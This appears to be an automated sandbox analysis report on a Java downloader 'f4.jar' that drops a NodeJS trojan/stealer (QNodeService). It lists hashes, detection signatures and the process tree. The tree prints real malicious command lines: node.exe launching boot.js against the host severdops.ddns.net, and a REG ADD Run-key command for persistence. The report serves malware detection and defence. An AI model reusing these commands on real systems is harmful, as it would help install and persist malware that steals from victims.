Analysis
-
max time kernel
122s -
max time network
139s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
08-12-2020 23:21
Static task
static1
Behavioral task
behavioral1
Sample
f4.jar
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
f4.jar
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
f4.jar
-
Size
57KB
-
MD5
ae77d6c4c46bbfdaa23c9238d12dcd98
-
SHA1
4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d
-
SHA256
b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1
-
SHA512
64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 1172 node.exe 3696 node.exe 3240 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ff11e993-10dc-4933-8e4f-516c2d849790 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab56-173.dat js behavioral2/files/0x000100000001ab56-176.dat js behavioral2/files/0x000100000001ab56-180.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 1172 node.exe 1172 node.exe 1172 node.exe 1172 node.exe 3696 node.exe 3696 node.exe 3696 node.exe 3696 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 540 wrote to memory of 1240 540 java.exe 76 PID 540 wrote to memory of 1240 540 java.exe 76 PID 1240 wrote to memory of 1172 1240 javaw.exe 80 PID 1240 wrote to memory of 1172 1240 javaw.exe 80 PID 1172 wrote to memory of 3696 1172 node.exe 82 PID 1172 wrote to memory of 3696 1172 node.exe 82 PID 3696 wrote to memory of 3240 3696 node.exe 83 PID 3696 wrote to memory of 3240 3696 node.exe 83 PID 3240 wrote to memory of 3088 3240 node.exe 85 PID 3240 wrote to memory of 3088 3240 node.exe 85 PID 3088 wrote to memory of 2148 3088 cmd.exe 86 PID 3088 wrote to memory of 2148 3088 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\f4.jar1⤵
- Suspicious use of WriteProcessMemory
PID:540 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6430ea54.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:2148
-
-
-
-
-
-